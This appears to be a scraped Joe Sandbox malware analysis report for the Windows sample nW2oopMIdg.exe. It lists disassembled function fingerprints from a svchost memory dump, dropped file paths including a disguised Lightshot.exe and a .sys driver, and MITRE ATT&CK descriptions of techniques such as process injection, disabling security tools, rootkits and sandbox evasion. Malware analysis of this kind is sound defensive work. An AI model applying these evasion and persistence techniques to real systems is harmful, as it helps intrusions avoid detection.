Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 61112832214FC182EB618F25E4443A9B7E5FB88B94F598264EE8C07B69DF3CC595CB00

Function 000001F28C1D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F28C1D73D8

Strings

riptor at (, xrefs: 000001F28C1D73C0
Locator', xrefs: 000001F28C1D73DD

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 6f46bb36e99698124d87c0e4d324587b24abbfd4879edec8008199ce5951e68a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 74E0E6B1651F45D4DF028F61E4901E877A5E758B94B889132DA5C47355EB78D1E5C300

Function 000001F28C931BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931C2D
HeapAlloc.KERNEL32 ref: 000001F28C931C3B
GetProcessHeap.KERNEL32 ref: 000001F28C931C77
HeapFree.KERNEL32 ref: 000001F28C931C85

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 4d82505500ce06d62ce877f2f89efa63fb9e64a04db03c9d2b6106834071bf2b
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 67113A35641F8686EA54DB66A8082B967E1FB89FC0F1890B9DE4D57776EF38C442C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nW2oopMIdg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Screenshots\Lightshot.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0z3ziakm.rl5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4gcpf45.vsk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_juj05cqp.em5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlofs2lm.htq.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_asxfxva3.cte.psm1

C:\Windows\Temp\__PSScriptPolicyTest_bzsopdsf.pqc.ps1

C:\Windows\Temp\__PSScriptPolicyTest_l5a2fjur.kdb.psm1

C:\Windows\Temp\__PSScriptPolicyTest_xuvzwikb.x0v.ps1

C:\Windows\Temp\yycjbdwxjaoe.sys

Windows Analysis Report
nW2oopMIdg.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre